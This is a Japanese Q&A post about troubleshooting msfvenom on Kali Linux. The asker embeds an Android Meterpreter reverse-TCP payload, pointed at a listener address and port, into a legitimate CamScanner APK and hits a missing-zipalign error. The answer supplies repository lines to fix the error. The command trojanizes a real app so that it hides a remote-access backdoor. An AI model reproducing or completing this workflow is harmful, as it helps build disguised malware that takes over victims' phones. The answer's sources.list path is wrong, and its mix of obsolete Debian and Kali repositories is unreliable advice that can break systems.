このエラーは、APKにペイロードを挿入しようとしたときに発生します。
root@kali:~# msfvenom -x /root/Documents/CamScanner_5.7.5.20180907.apk -p android/meterpreter/reverse_tcp LHOST=192.168.0.1 LPORT=2410 -o camscanner_main.apk
Using APK template: /root/Documents/CamScanner_5.7.5.20180907.apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
Error: zipalign not found. If it's not in your PATH, please add it.`
私もapt-get install zipalignを試しました。
root@kali:~# apt-get install zipalign
Reading package lists... Done
Building dependency tree
Reading state information... Done
Package zipalign is not available, but is referred to by another package.
This may mean that the package is missing,
has been obsoleted, or is only available from another source`
E: Package 'zipalign' has no installation candidate
答え1
修正が見つかりました。
リポジトリに次のリンクを追加します。
nano /root/etc/apt/sources.list
そしてこのリンクを貼り付けてください
deb http://http.kali.org/kali kali-rolling main contrib non-free
deb-src http://http.kali.org/kali kali-rolling main contrib non-free
deb http://old.kali.org/kali sana main non-free contrib
deb http://ftp.de.debian.org/debian wheezy main
次のコマンドを試してください。
apt-get update
apt-get install zipalign